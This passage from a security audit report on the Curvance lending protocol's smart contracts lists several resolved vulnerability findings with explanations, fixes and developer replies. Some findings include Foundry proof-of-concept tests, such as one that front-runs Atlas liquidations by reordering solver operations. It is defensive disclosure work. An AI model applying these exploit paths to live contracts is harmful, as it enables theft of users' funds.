When a liquidation is performed, Curvance assumes that the `canLiquidate` function *"Fails if liquidation not allowed, trying to repay too much debt will revert."*. However, this function will actually only revert if we try to liquidate more debt than allowed, **if the user has an unhealthy position**. For users that have a healthy position, MarketManager.canLiquidate() will return early and will return an array of zero values, given that the `lFactor` is 0 for an account whose soft collateral value is > than their debt.

Because `_canLiquidate` returns early, it never reverts with `MarketManager__InvalidParameter` error here, even if we're trying to liquidate a debt amount higher than the max liquidatable debt (`maxDebt`).

The execution after `_canLiquidate` will then continue, and liquidatedShares will be zero for the attacker, thus skipping this if.

After the call to `canLiquidate`, the `result.debtRepaid` will be 0 for the attacker's debt. Then, [this loop will reduce the attacker's debt because debtAmounts[attacker] is > 0 (we're using liquidateExact), effectively reducing the attacker's balance.

Finally, the collateral token will be seized. Note that the `liquidatedShares` for the attacker will be 0, so the `seize` function will simply skip transferring collateral.

A proof of concept can be found here with an attack example that allows a malicious actor to reduce their debt without repaying collateral.

Impact

High. This issue can be leveraged by attackers to liquidate their own positions even if they're healthy. Due to the described issue, the attacker's debt will be reduced, while no assets will be seized, effectively allowing malicious actors to drain the protocol.

Code Snippet

- MarketManagerIsolated.sol#L1408

Tool Used

Manual Review

Recommendation

The best way to fix the issue is to be more strict if a user with a healthy position is identified during liquidations. Instead of gracefully returning, a revert should be triggered so that only unhealthy positions can be liquidated.

Discussion

ZeroXMai

done @gas-limit

Issue H-8: Liquidating debt token should accrue interest on collateral token first. [RESOLVED]

Source: https://github.com/sherlock-audit/2025-08-curvance-august-25th/issues/73

Summary

Liquidating debt token should accrue interest on collateral token first.

Vulnerability Detail

Say the market consists of two tokens: tokenA and tokenB. User uses tokenA as collateral and borrows tokenB. When his position is unhealthy, liquidators will call tokenB.liquidate() to perform liquidation.

During the init phase of liquidation, we accrue debt interest for tokenB. However, we don't accrue interest for tokenA. Also considering the fact that `BorrowableCToken.exchangeRate()` does not account for full interest accrual to current timestamp, this means if tokenA may be underpriced. This means a position may be unexpectedly liquidated.

https://github.com/sherlock-audit/2025-08-curvance-august-25th/blob/main/curvance-contracts/contracts/market/token/BorrowableCToken.sol#L594

```
function _liquidate(
    uint256[] memory debtAmounts,
    address liquidator,
    address[] calldata accounts,
    address collateralToken,
    uint256 numAccounts,
    bool exactAmount
) internal {

    // Cannot have debt and collateral in the same token, so can revert
    // immediately if someone tries.
```

```
    if (collateralToken == address(this)) {
        _revert(_INVALID_PARAMETER_SELECTOR);
    }

    // Accrue interest if needed.
    _accrueIfNeeded();

    // @audit-bug: Does NOT accrue interest for collateral token.
    ...
}

// @audit-bug: Does NOT calculate full interest to current timestamp.
function _assetsToVest() internal view override returns (uint256 assets) {
    // Cache `_vestingData`, the packed vesting data storage value.
    uint256 vestingData = _vestingData;
    assets =  _assetsToVest(
        uint96(vestingData),
        marketOutstandingDebt,
        uint40(vestingData >> _BITPOS_VEST_END),
        uint40(vestingData >> _BITPOS_LAST_VEST)
    );
}
```

Impact

Position may be liquidated when it is still healthy.

Recommendation

Also accrue interest for collateral token upon liquidation.

Discussion

ZeroXMai

done @gas-limit

Issue M-1: Double accounting of new debt when leveraging [RESOLVED]

Source: https://github.com/sherlock-audit/2025-08-curvance-august-25th/issues/43

Summary

When users leverage through the PositionManager, the amount is first borrowed and then swapped to collateral. At the end of the function, the debt token checks whether the total debt amount is within the debt cap. However, in doing so, it double-counts the leveraged borrowed amount.

Vulnerability Detail

When users leverage, they call the `leverage` function in the `PositionManager` contract, which then calls the debt token's `borrowFrom` function in the `PositionManager`. https://github.com/sherlock-audit/2025-08-curvance-august-25th/blob/89120636627bb519d2529afb6d5f74801b27b854/curvance-contracts/contracts/market/position-management/BasePositionManager.sol#L642-L647

Inside this function, it first executes the internal `_borrow` function: https://github.com/sherlock-audit/2025-08-curvance-august-25th/blob/89120636627bb519d2529afb6d5f74801b27b854/curvance-contracts/contracts/market/token/BorrowableCToken.sol#L251

This function increases the total debt issued for all users of this debt token: https://github.com/sherlock-audit/2025-08-curvance-august-25th/blob/89120636627bb519d2529afb6d5f74801b27b854/curvance-contracts/contracts/market/token/BorrowableCToken.sol#L515

Then, at the end of the function, `canBorrow` is called with `marketOutstandingDebt` (which is already updated with the new borrowed assets) **plus** `assets`: https://github.com/sherlock-audit/2025-08-curvance-august-25th/blob/89120636627bb519d2529afb6d5f74801b27b854/curvance-contracts/contracts/market/token/BorrowableCToken.sol#L263-L268

This value is then compared with the total debt cap here: https://github.com/sherlock-audit/2025-08-curvance-august-25th/blob/89120636627b

b519d2529afb6d5f74801b27b854/curvance-contracts/contracts/market/isolated/MarketManagerIsolated.sol#L1184-L1186

The issue is that `marketOutstandingDebt` is already updated with the new debt, but the code adds the debt amount again, effectively **double counting** the newly borrowed amount.

Impact

Broken functionality.

Code Snippet

Tool Used

Manual Review

Recommendation

```
marketManager.canBorrow(
            address(this),
            0,
            owner,
-           marketOutstandingDebt + assets
+          marketOutstandingDebt
        );
```

Discussion

ZeroXMai

done @gas-limit

Issue M-2: Previous outstanding debt is used to calculate the new borrowing rate [RESOLVED]

Source: https://github.com/sherlock-audit/2025-08-curvance-august-25th/issues/45

Summary

When a new period starts, the old debt balance is passed to the IRM, which results in a lower utilization calculation and consequently lower rates for borrowers.

Vulnerability Detail

Suppose a new period needs to start on the next call to `accrueIfNeeded`. From the latest interest accrue timestamp to the end of the current period, there are “5” tokens of accrued debt interest.

Also assume:

- Total idle balance = 10
- Total debt = 100 So the utilization rate is 90.9%

First, the function will calculate the 5 tokens of debt interest for the elapsed time until the period ends: https://github.com/sherlock-audit/2025-08-curvance-august-25th/blob/89120636627bb519d2529afb6d5f74801b27b854/curvance-contracts/contracts/market/token/BorrowableCToken.sol#L729-L734

Then, the new rate needs to be fetched from the IRM. However, as shown here, the “debt” balance passed to the IRM is the cached value–100 in this case–instead of the updated 105 (100 + 5): https://github.com/sherlock-audit/2025-08-curvance-august-25th/blob/89120636627bb519d2529afb6d5f74801b27b854/curvance-contracts/contracts/market/token/BorrowableCToken.sol#L746-L747

This results in the IRM calculating utilization and setting the new rate based on stale debt values. Consequently, the new rate will always be underaccounted.

So instead of calculating the utilization as 105/115 it will use the old utilization which is 100/110

Impact

Inconsistent rates

Code Snippet

https://github.com/sherlock-audit/2025-08-curvance-august-25th/blob/89120636627bb519d2529afb6d5f74801b27b854/curvance-contracts/contracts/market/token/BorrowableCToken.sol#L714-L747

Tool Used

Manual Review

Recommendation

```
(rate, adjustmentRate)
                = IRM.adjustedBorrowRate(assetsHeld(), outstandingDebt +
                ↪  assetsToVest);
```

Discussion

ZeroXMai

Can confirm this is valid, we fixed this locally.

Issue M-3: Incorrect price returned from aggregator if the underlying asset's decimals != vault's decimals [RESOLVED]

Source: https://github.com/sherlock-audit/2025-08-curvance-august-25th/issues/51

Vulnerability Detail

In the vault aggregator, it fetches the exchange rate by passing in WAD (1e18) as the number of shares to be converted to assets regardless of the decimal precision of the vault share.

https://github.com/sherlock-audit/2025-08-curvance-august-25th/blob/1395a227932c0c3114d340980d780b3b8a914088/curvance-contracts/contracts/oracles/adaptors/wrappedAggregators/VaultAggregator.sol#L46

```
File: VaultAggregator.sol
37:     /// @notice Returns the current exchange rate between the wrapped asset
38:     ///         and the underlying aggregator, in `WAD`.
39:     /// @return result The current exchange rate between the wrapped asset
40:     ///                and the underlying aggregator, in `WAD`.
41:     function getExchangeRate() public view virtual override returns (
42:         uint256 result
43:     ) {
44:         // Return exchange rate in `WAD` format directly.
45:         // We can use ICToken since its an erc4626 vault itself.
46:         result = ICToken(vault).convertToAssets(WAD);
47:     }
```

The `VaultAggregator.getExchangeRate()` function will be used to compute the price for the aggregator's latestRoundData() function.

Assume that the vault decimals is equal to to the underlying asset's decimals. Vault's total supply = 1000e18, Vault's total asset = 2000e18. In this case, the `getExchangeRate()` will return 2e18. The answer will be correct. No issue here.

```
answer = (answer * _toInt256(getExchangeRate())) / _toInt256(WAD);
answer = (answer * 2e18) / 1e18
answer = answer * 2
```

Assume that the vault decimals = 18, while underlying asset's decimals = 6. Vault's total supply = 1000e18, Vault's total asset = 2000e6. In this case, the `getExchangeRate()` will return 2e6. The answer will be significantly lower than expected.

```
answer = (answer * _toInt256(getExchangeRate())) / _toInt256(WAD);
answer = (answer * 2e6) / 1e18
answer = answer * 0.000000000002
```

Assume that the vault decimals = 6, while underlying asset's decimals = 18. Vault's total supply = 1000e6, Vault's total asset = 2000e18. In this case, the `getExchangeRate()` will return 2e30. The answer will be inflated.

```
answer = (answer * _toInt256(getExchangeRate())) / _toInt256(WAD);
answer = (answer * 2e30) / 1e18
answer = answer * 2e12
```

Thus, a pricing issue will arise if the underlying asset's decimals != vault's decimals.

Additional note regarding the decimal precision of price returned from price aggregator

Generally, aggregators will return the price of a vault token/share in USD. The price returned from the aggregator (also known as a price feed) for USD will likely not be in WAD form, but it will be in 8 decimal precision for USD if Chainlink or Redstone Classic is used. For Chainlink, USD quote is 8 decimals while ETH quote is in 18 decimals.

Assume that the vault's underlying asset is USDC, and `_assetAggregator` of `VaultAggregator` is set to `_CHAINLINK_USDC_USD` (0x8fFfFfd4AfB6115b954Bd326cbe7B4BA576818f6). In this case, the precision of the price returned from `VaultAggregator` will be the same as the precision of the underlying asset's price feed decimals, as shown here. It will be equal to 8 decimals. The aggregator will be added to the relevant adaptor (e.g., ChainlinkAdaptor).

Based on the adaptor-aggregation design/integration, it's not the role of the aggregator to return a price in WAD (1e18) format. The market contract does not directly

interact with aggregator contracts to fetch the price. Instead, the market contract interacts with the Price adaptors (e.g., ChainlinkAdaptor) `_getPrice` function, and it's the adaptor's responsibility to scale it up to WAD form by fetching the price feed's decimals, and scale it up to WAD form if necessary, as shown here. If the price feed's decimals is 8, it will scale up the price to 18 decimals.

The aggregator contract should not be concerned about WAD. The aggregator contract should only be concerned about returning the correct USD value of 1 unit of token/vault share. Note that 1 unit of token here can be 1e6 or 1e18 depending on the token's decimals or vault share's decimals.

In Line 47 below:

- 1 unit of vault share = 10^(vault.decimals)
- 1 uint of asset = 10^(asset.decimals)
- `getExchangeRate` should return the number of raw assets per unit of vault share
- `answer` contains the USD value of 1 unit of the asset
- Since `getExchangeRate` is in raw assets, you will need to convert it to the actual unit of asset before it can be multiplied by the `answer` to get the USD value of the vault share. Thus, `getExchangeRate` should be divided by the `asset.decimals()`.
- The `latestRoundData()` should return USD value of 1 unit of vault share. USD value should be in 8 decimals. If 1 value share is worth 2 USD, it should return 2e8.

https://github.com/sherlock-audit/2025-08-curvance-august-25th/blob/1395a227932c0c3114d340980d780b3b8a914088/curvance-contracts/contracts/oracles/adaptors/wrappedAggregators/BaseWrappedAggregator.sol#L47

```
File: BaseWrappedAggregator.sol
32:     function latestRoundData()
33:         external
34:         view
35:         returns (
36:             uint80 roundId,
37:             int256 answer,
38:             uint256 startedAt,
39:             uint256 updatedAt,
```

```
40:             uint80 answeredInRound
41:         )
42:     {
43:         (roundId, answer, startedAt, updatedAt, answeredInRound) = IChainlink(
44:             underlyingAggregator()
45:         ).latestRoundData();
46:
47:         answer = (answer * _toInt256(getExchangeRate())) / _toInt256(WAD);
48:     }
```

POC

The following test demonstrates what happens when the vault's decimals = 18 while the underlying asset's decimals = 6.

Assume that vaultA share is going to be used as a collateral in a market. In this case, a vault aggregator will be deployed for vault A so that the market can determine the USD value of vaultA share.

In the following setup, 1 unit of vaultA share (1e18) is worth around 2 units of USDC, which is valued at around 2 USD. Thus, the vault aggregator should return an answer around 2e8.

However, due to a logic error, the price returned is zero (0) because the division by WAD causes it to round down to zero. It should have divided by asset's decimals (1e6) instead of WAD.

TestOraclePrice.sol

```
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.28;

import { TestBaseMarketIsolated } from "tests/market/TestBaseMarketIsolated.sol";
import { CentralRegistry } from "contracts/architecture/CentralRegistry.sol";
import { ChainlinkAdaptor } from
↪  "contracts/oracles/adaptors/chainlink/ChainlinkAdaptor.sol";
import { ICentralRegistry } from "contracts/interfaces/ICentralRegistry.sol";
import { MockVaultA } from "contracts/mocks/MockVaultA.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { ERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
```

```
import { console2 } from "forge-std/console2.sol";
import { VaultAggregator } from
↪  "contracts/oracles/adaptors/wrappedAggregators/VaultAggregator.sol";

contract TestOraclePrice is TestBaseMarketIsolated {
    MockVaultA vaultA;
    MockVaultC vaultC;

    function setUp() public virtual override {
        _fork(18031848);
    }

    function test_checkPrice_VaultShareDecimals18AssetDecimal6() public {
        _deployVaultA();
        console2.log("==== test_checkPrice_VaultShareDecimals18AssetDecimal6 ====");
        console2.log("_CHAINLINK_USDC_USD = ", _CHAINLINK_USDC_USD);
        VaultAggregator vaultAgg = new VaultAggregator(address(vaultA),
        ↪  _USDC_ADDRESS, _CHAINLINK_USDC_USD);
        console2.log("vaultAgg's decimals = ", vaultAgg.decimals());

        (, int256 price,, uint256 updatedAt, ) = vaultAgg.latestRoundData();
        console2.log("vaultAgg's price = ", price);
    }

    function _deployVaultA() internal {
        console2.log("==== _deployVaultA ====");
        // The vault A share's decimals is 18 while the asset's decimals (USDC) is
        ↪  6.
        vaultA = new MockVaultA(IERC20(_USDC_ADDRESS));
        console2.log("vault's decimals = ", vaultA.decimals());
        console2.log("vault's asset decimals = ", ERC20(vaultA.asset()).decimals());

        vm.startPrank(user1);
        _prepareUSDC(user1, 1000e6);
        usdc.approve(address(vaultA), 1000e6);
        vaultA.deposit(1000e6, user1);
```

```
        // Assume that the total assets of the vault increase from 1000 to 2000 due
        ↪  to earning
        _prepareUSDC(address(vaultA), 2000e6);

        console2.log("user1's vault share balance = ", vaultA.balanceOf(user1)); //
        ↪  1000e18
        console2.log("vault's total supply = ", vaultA.totalSupply());
        console2.log("vault's total asset = ", vaultA.totalAssets());
    }
}
```

MockVaultA.sol

```
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.28;

import { ERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import { ERC4626 } from
↪  "@openzeppelin/contracts/token/ERC20/extensions/ERC4626.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";

// The vault share's decimals is 18 while the asset's decimals (USDC) is 6.

contract MockVaultA is ERC4626 {
    constructor(IERC20 asset) ERC20("MockVault", "MVT") ERC4626(asset) {}


    function _decimalsOffset() internal view override returns (uint8) {
        return 12;
    }
}
```

Result

```
  curvance-contracts git:(main)  forge test --match-test test_checkPrice -vvv
Ran 2 tests for tests/oracles/OracleManager/TestOraclePrice.t.sol:TestOraclePrice
[PASS] test_checkPrice_VaultShareDecimals18AssetDecimal6() (gas: 2039510)
Logs:
  ==== _deployVaultA ====
```

```
  vault's decimals =  18
  vault's asset decimals =  6
  user1's vault share balance =  100000000000000000000
  vault's total supply =  100000000000000000000
  vault's total asset =  2000000000
  ==== test_checkPrice_VaultShareDecimals18AssetDecimal6 ====
  _CHAINLINK_USDC_USD =  0x8fFfFfd4AfB6115b954Bd326cbe7B4BA576818f6
  vaultAgg's decimals =  8
  asset's answer from Chainlink =  100006415
  getExchangeRate() =  1999999
  vaultAgg's price =  0
```

Impact

Prices returned by the price aggregator will be incorrect if the underlying asset's decimals differ from the vault's decimals, causing the user's account to become over- or under-collateralized.

Code Snippet

https://github.com/sherlock-audit/2025-08-curvance-august-25th/blob/1395a227932c0c3114d340980d780b3b8a914088/curvance-contracts/contracts/oracles/adaptors/wrappedAggregators/BaseWrappedAggregator.sol#L47

Tool Used

Manual Review

Recommendation

In the `getExchangeRate()` function, fetch the number of assets per vault share by using `10 ** vault.decimals()` instead of hardcoded `WAD`.

```
    function getExchangeRate() public view virtual override returns (
        uint256 result
    ) {
-       result = ICToken(vault).convertToAssets(WAD);
```

```
+       result = ICToken(vault).convertToAssets(10 ** vault.decimals());
    }
```

In the `latestRoundData()` function, consider

```
+        IERC20 asset = ICToken(vault).asset();
-        answer = (answer * _toInt256(getExchangeRate())) / _toInt256(WAD);
+        answer = (answer * _toInt256(getExchangeRate())) / _toInt256(10 **
↪  asset.decimals());
```

The purpose of dividing by `10 ** asset.decimals()` is to convert the "scaled" assets returned by the `getExchangeRate()` to its original value (e.g., 1000e6 USDC => 1000 USDC, 1000e18 WETH => 1000 WETH). Then, multiply it by the `answer`, which is the number of USD per asset (1 USDC or 1 WETH).

Discussion

ZeroXMai

done @gas-limit

lpetroulakis

Internal discussion has been held - this is being fowngraded to medium.

Issue M-4: Debt can be reduced to less than `MIN_ACTIVE_LOAN_SIZE` making it unprofitable to be liquidated [RESOLVED]

Source: https://github.com/sherlock-audit/2025-08-curvance-august-25th/issues/55

Vulnerability Detail

When opening a position, the size of the debt position will be checked against the `MIN_ACTIVE_LOAN_SIZE` to ensure that users cannot create "small" debt positions that cannot be profitably closed, which could potentially lead to some bad debts.

However, it was observed that the `MIN_ACTIVE_LOAN_SIZE` was not being enforced during repayment. Thus, a user can open a debt position of minimum size (10e18). Then, the user proceeds to repay 90% of the debt, reducing the debt size below `MIN_ACTIVE_LOAN_SIZE`.

https://github.com/sherlock-audit/2025-08-curvance-august-25th/blob/1395a227932c0c3114d340980d780b3b8a914088/curvance-contracts/contracts/market/token/BorrowableCToken.sol#L557

```
File: BorrowableCToken.sol
531:     function _repay(
..SNIP..
553:
554:         SafeTransferLib.safeTransferFrom(asset(), payer, address(this),
↪  assets);
555:
556:         // Update the account and market outstanding debt balance data.
557:         _setDebtOf(
558:             owner,
559:             uint176(debtOf - assets),
560:             uint80(_vestingData >> _BITPOS_DEBT_INDEX)
561:         );
```

Impact

The creation of ”small” debt positions (intentionally or unintentionally) that cannot be profitably closed could potentially lead to bad debts accumulating in the protocol.

Code Snippet

https://github.com/sherlock-audit/2025-08-curvance-august-25th/blob/1395a227932c0c3114d340980d780b3b8a914088/curvance-contracts/contracts/market/token/BorrowableCToken.sol#L557

Tool Used

Manual Review

Recommendation

In the above scenario, the user's debt position size is 20e18. They should be allowed to repay up to 10e18 (`MIN_ACTIVE_LOAN_SIZE`) or repay the debt position completely.

Consider adding the following check at the end of the repayment function:

```
require(terminalDebtBal == 0 || terminalDebtBal >= MIN_ACTIVE_LOAN_SIZE);
```

In this case, users must repay the entire debt OR reduce the debt to an amount >= `MIN_ACTIVE_LOAN_SIZE`.

Malicious users will not be able to exploit the repayment function to intentionally reduce their position's debt to an amount less than `MIN_ACTIVE_LOAN_SIZE`, which is likely to be a small/dust amount, making it unprofitable for liquidation.

Issue M-5: User cannot flip markets due to rounding issue in `LiquidityManagerIsolated.sol::_hypotheticalLiquidityOf`. [RESOLVED]

Source: https://github.com/sherlock-audit/2025-08-curvance-august-25th/issues/62

Summary

User cannot flip markets due to rounding issue in `LiquidityManagerIsolated.sol::_hypotheticalLiquidityOf`.

Vulnerability Detail

In the `LiquidityManagerIsolated.sol::_hypotheticalLiquidityOf` function, we check if the user has enough liquidity to perform redemption and borrow actions.

Consider this scenario: user has some collateral posted, and wants to remove ALL collateral shares, while user has 0 debt. Both `maxDebt` and `newDebt` are calculated by `shares * price * collRatio`. This will revert because the `maxDebt` rounds down while `newDebt` rounds up, and we end up with a 1 wei liquidity deficit.

This blocks a user from switching coll/debt tokens, because a token can only be borrowed if collateral is strictly zero.

https://github.com/sherlock-audit/2025-08-curvance-august-25th/blob/main/curvance-contracts/contracts/market/token/BaseCToken.sol#L1307

```
        {
                    ...
                    maxDebt += _collateralValue(
                        snap.collateralPosted,
                        prices[i],
                        10 ** snap.decimals,
                        _tokenConfig[snap.asset].collRatio,
@>                      true
                    );
```

```
                    ...

                    newDebt += _collateralValue(
                        action.redemptionShares,
                        prices[i],
                        10 ** snap.decimals,
                        _tokenConfig[snap.asset].collRatio,
@>                      false
                    );
                    ...
        }


@>      result.liquidityDeficit = newDebt - maxDebt;
```

PoC

Add following code to `tests/market/marketManagerIsolated/functions/CanRedeemWithCollateralRemoval.t.sol`

Add to header imports:

```
import { BorrowableCToken } from "contracts/market/token/BorrowableCToken.sol";
import "forge-std/console.sol";
```

Test code:

1. User1 deposits 2000e6+1 USDC and deposits as collateral.
2. User2 deposits 2000e18 DAI (as collateral), then borrow 250e6 USDC.
3. Accrue interest.
4. User2 repays all USDC debt.
5. User1 tries to remove all collateral, but fails due to rounding.
6. User1 tries to remove all but 1 wei collateral, succeeds but still fails to remove the last 1 wei.

7. Due to the last 1 wei collateral, user1 cannot user cDAI as collateral and borrow cUSDC.

```
function test_poc() public {
    // Step 1: User1 deposits 2000e6+1 USDC.
    uint user1DepositAmount = 2000e6+1;
    _prepareUSDC(user1, user1DepositAmount);
    vm.startPrank(user1);
    usdc.approve(address(borrowableCUSDC), user1DepositAmount);
    borrowableCUSDC.depositAsCollateral(user1DepositAmount, user1);
    vm.stopPrank();

    // Step 2: User2 deposits 2000e18 DAI (as collateral), then borrow 250e6 USDC.
    _prepareDAI(user2, 2000e18);
    vm.startPrank(user2);
    dai.approve(address(borrowableCDAI), 2000e18);
    borrowableCDAI.depositAsCollateral(2000e18, user2);
    borrowableCUSDC.borrow(250e6, user2);
    vm.stopPrank();

    // Step 3: Accrue interest.
    skip(30 minutes);
    borrowableCUSDC.accrueIfNeeded();

    // Step 4: User2 repays all USDC debt.
    _prepareUSDC(user2, 100000e6);
    vm.startPrank(user2);
    usdc.approve(address(borrowableCUSDC), 100000e6);
    borrowableCUSDC.repay(0);
    vm.stopPrank();

    // cUSDC exchange rate = 1000000160493755749
    console.log(borrowableCUSDC.exchangeRateUpdated());

    // Step 5: User1 tries to remove all collateral, but fails due to rounding.
    assertEq(user1DepositAmount, borrowableCUSDC.collateralPosted(user1));
    vm.startPrank(user1);
    vm.expectRevert(MarketManagerIsolated.MarketManager__InsufficientCollateral.sel
    ↪  ector);
```

```
    borrowableCUSDC.removeCollateral(user1DepositAmount);
    vm.stopPrank();

    // Step 6: User1 tries to remove all but 1 wei collateral, succeeds but still
    ↪  fails to remove the last 1 wei.
    vm.startPrank(user1);
    borrowableCUSDC.removeCollateral(user1DepositAmount - 1);
    assertEq(1, borrowableCUSDC.collateralPosted(user1));
    vm.expectRevert(MarketManagerIsolated.MarketManager__InsufficientCollateral.sel
    ↪  ector);
    borrowableCUSDC.removeCollateral(1);
    vm.stopPrank();

    // Step 7: Due to the last 1 wei collateral, user1 cannot user cDAI as
    ↪  collateral and borrow cUSDC.
    _prepareUSDC(address(this), 2000e6);
    usdc.approve(address(borrowableCUSDC), 2000e6);
    borrowableCUSDC.deposit(2000e6, address(this));
    _prepareDAI(user1, 2000e18);
    vm.startPrank(user1);
    dai.approve(address(borrowableCDAI), 2000e18);
    borrowableCDAI.depositAsCollateral(2000e18, user1);
    vm.expectRevert(BorrowableCToken.BorrowableCToken__CollateralPositionActive.sel
    ↪  ector);
    borrowableCUSDC.borrow(250e6, user1);
    vm.stopPrank();
}
```

Impact

Due to the 1 wei rounding diff, user can never fully withdraw all collateral shares. This blocks user from flipping coll/debt tokens in a single market.

Recommendation

Use consistent rounding for redeeming scenario.

Discussion

ZeroXMai

done @gas-limit

lpetroulakis

Internal discussion has been held - this is being fowngraded to medium.

Issue M-6: Any random user can frontrun the atlas liquidation and skew the solver orders. [RESOLVED]

Source: https://github.com/sherlock-audit/2025-08-curvance-august-25th/issues/64

Summary

Any random user can frontrun the atlas liquidation and skew the solver orders.

Vulnerability Detail

In the atlas auction transaction, there are three pieces of data: 1) `UserOp`, 2) `SolverOp[]`, 3) `DAppOp`. Usually the atlas transaction should only be submitted by a verified bundler, but if a malicious user frontruns the atlas transaction, he can skew the `SolverOp[]` orders and modify DAppOp to execute the liquidations in a different order. See a detailed poc in the next section. Root cause is we are skipping the `DAppOp.from` validity check if `bypassSignature == true`.

https://github.com/FastLane-Labs/atlas/blob/main/src/contracts/atlas/AtlasVerification.sol#L467-L469

```
if (!_skipDAppOpChecks && !_bypassSignature && !_isDAppSignatory(dAppOp.control,
↪  dAppOp.from)) {
    return ValidCallsResult.DAppNotEnabled;
}
```

PoC

Add code to `AuctionManagerPreSolverTest.t.sol`.

1. Assume solver orders is [0, 1], we skew it to [1, 0].
2. Random user crafts a DAppOperation with the skewed solver order, while attaching the correct userOpHash, and sets dApp.from, dApp.bundler to his own address.

Note the random user is NOT verified for the AuctionManager by `atlasVerification.addSignatory()`, so this can be carried out by anyone.

3. Execute the atlas metacall, and succeed.

```
function test_dapp_random_user() public {
    UserOperation memory userOp = buildUserOperation(userOpSignerPK);

    SolverOperation memory solverOp0 = buildSolverOperation(
        solverOnePK,
        address(solver),
        atlasVerification.getUserOperationHash(userOp),
        solverBidAmount,
        solverOpTestPenalty,
        collateralToken,
        address(marketManagerIsolated),
        false
    );

    SolverOperation memory solverOp1 = buildSolverOperation(
        solverOnePK,
        address(solver),
        atlasVerification.getUserOperationHash(userOp),
        solverBidAmount,
        solverOpTestPenalty,
        collateralToken,
        address(0x01), // Random market manager
        false
    );

    // Step 1: Assume solver orders is [0, 1], we skew it to [1, 0].

    SolverOperation[] memory solverOps = new SolverOperation[](2);
    solverOps[0] = solverOp1;
    solverOps[1] = solverOp0;

    bytes32 callChainHash = CallVerification.getCallChainHash(userOp, solverOps);
```

```
    // Step 2: Random user crafts a DAppOperation with the skewed solver order,
    ↪  while attaching the correct userOpHash, and sets dApp.from, dApp.bundler to
    ↪  his own address.
    // Note the random user is NOT verified for the AuctionManager by
    ↪  atlasVerification.addSignatory().

    uint256 randomUserPK = 0xaaabbb;
    address randomUser = vm.addr(randomUserPK);

    DAppOperation memory dappOp = DAppOperation({
        from: randomUser,
        to: address(atlas),
        nonce: 0,
        deadline: block.number + 100,
        control: address(auctionManager_),
        bundler: randomUser,
        userOpHash: atlasVerification.getUserOperationHash(userOp),
        callChainHash: callChainHash,
        signature: new bytes(0)
    });
    Sig memory sig;
    (sig.v, sig.r, sig.s) = vm.sign(randomUserPK,
    ↪  atlasVerification.getDAppOperationPayload(dappOp));
    dappOp.signature = abi.encodePacked(sig.r, sig.s, sig.v);

    // Step 3: Execute the atlas metacall, and succeed.

    vm.deal(randomUser, 2 ether);
    vm.txGasPrice(1 gwei);
    vm.startBroadcast(randomUserPK);
    (bool success,) = address(atlas).call{gas: 21_100_000}(
        abi.encodeWithSelector(atlas.metacall.selector, userOp, solverOps, dappOp,
        ↪  address(0))
    );
    vm.stopBroadcast();

    assertEq(success, true, "Valid operation should succeed");
}
```

Impact

Any random user can frontrun the atlas liquidation and skew the solver orders.

Recommendation

Fix the atlas code:

```
-        if (!_skipDAppOpChecks && !_bypassSignature &&
 ↪  !_isDAppSignatory(dAppOp.control, dAppOp.from)) {
+        if (!_skipDAppOpChecks && !_isDAppSignatory(dAppOp.control, dAppOp.from)) {
            return ValidCallsResult.DAppNotEnabled;
        }
```

Discussion

pkqs90

Need double check with @doge_bull to see if this is a reasonable scenario in atlas.

Issue M-7: `timelock.updateRoles()` should be called after transferring EC in Central-Registry. [RESOLVED]

Source: https://github.com/sherlock-audit/2025-08-curvance-august-25th/issues/66

Summary

`timelock.updateRoles()` should be called after transferring EC in CentralRegistry.

Vulnerability Detail

When transferring EC in CentralRegistry, the timelock needs to be updated, because it also keeps track of the EC role, however, `timelock.updateRoles()` is not called here.

https://github.com/sherlock-audit/2025-08-curvance-august-25th/blob/main/curvance-contracts/contracts/architecture/CentralRegistry.sol#L854

```
    function transferEmergencyCouncil(address newEmergencyCouncil) external {
        ...
        if (!hasMarketPermissions[newEmergencyCouncil]) {
            hasMarketPermissions[newEmergencyCouncil] = true;
            emit PermissionsUpdated("Market", newEmergencyCouncil, true);
        }

@>      // @audit-bug: timelock is not updated.
    }
```

Impact

The EC role in CentralRegistry and timelock would be inconsistent.

Recommendation

Call `timelock.updateRoles()` at end of function, like how it's done in the `transferDaoPermissions()` function.

Discussion

ZeroXMai

done @gas-limit

Issue M-8: The slippage check in `BasePosiitonManager::depositAndLeverage` does not work. [RESOLVED]

Source: https://github.com/sherlock-audit/2025-08-curvance-august-25th/issues/67

Summary

The slippage check in `BasePosiitonManager::depositAndLeverage` does not work.

Vulnerability Detail

The slippage check won't work, because the initial state doesn't include the assets we are depositing, so the slippage check will almost always pass.

https://github.com/sherlock-audit/2025-08-curvance-august-25th/blob/main/curvance-contracts/contracts/market/position-management/BasePositionManager.sol#L167

```
    function depositAndLeverage(
        uint256 assets,
        LeverageAction calldata action,
        uint256 slippage
@>  ) external checkSlippage(msg.sender, slippage) nonReentrant {
        ICToken cToken = action.cToken;
        address collateralAsset = cToken.asset();

        // Transfer `collateralAsset` to deposit.
        SafeTransferLib.safeTransferFrom(
            collateralAsset,
            msg.sender,
            address(this),
            assets
        );

        // Approve cToken to process a deposit.
```

```
        SwapperLib._approveIfNeeded(collateralAsset, address(cToken), assets);

        // Deposit and collateralize `collateralAsset` in cToken contract.
        cToken.depositAsCollateralFor(assets, msg.sender);

        // Execute leverage operation.
        _leverage(action, msg.sender);
    }
```

Impact

Slippage check won't work.

Recommendation

Move the slippage check to after the collateral deposit happens.

Discussion

ZeroXMai

done @gas-limit

Issue M-9: Accrue interest before updating dynamic IRM params. [RESOLVED]

Source: https://github.com/sherlock-audit/2025-08-curvance-august-25th/issues/77

Summary

Accrue interest before updating dynamic IRM params.

Vulnerability Detail

We should call BorrowableCToken's accrueIfNeeded before updating the IRM parameters. Consider the last timestamp BorrowableCToken updated it's interest is T0, then at T1 we update its IRM params. The interest between T0 -> T1 will use the updated params instead of old params, which may be unexpected for existing borrowers/suppliers.

Also, if cToken is trading in the secondary market, the cToken's exchangeRate may experience a sudden change (due to the change of unaccrued interest). This may open up for arbitrage opportunities.

https://github.com/sherlock-audit/2025-08-curvance-august-25th/blob/main/curvance-contracts/contracts/market/DynamicIRM.sol#L315-L335

```
function updateDynamicIRM(
    uint256 baseRatePerYear,
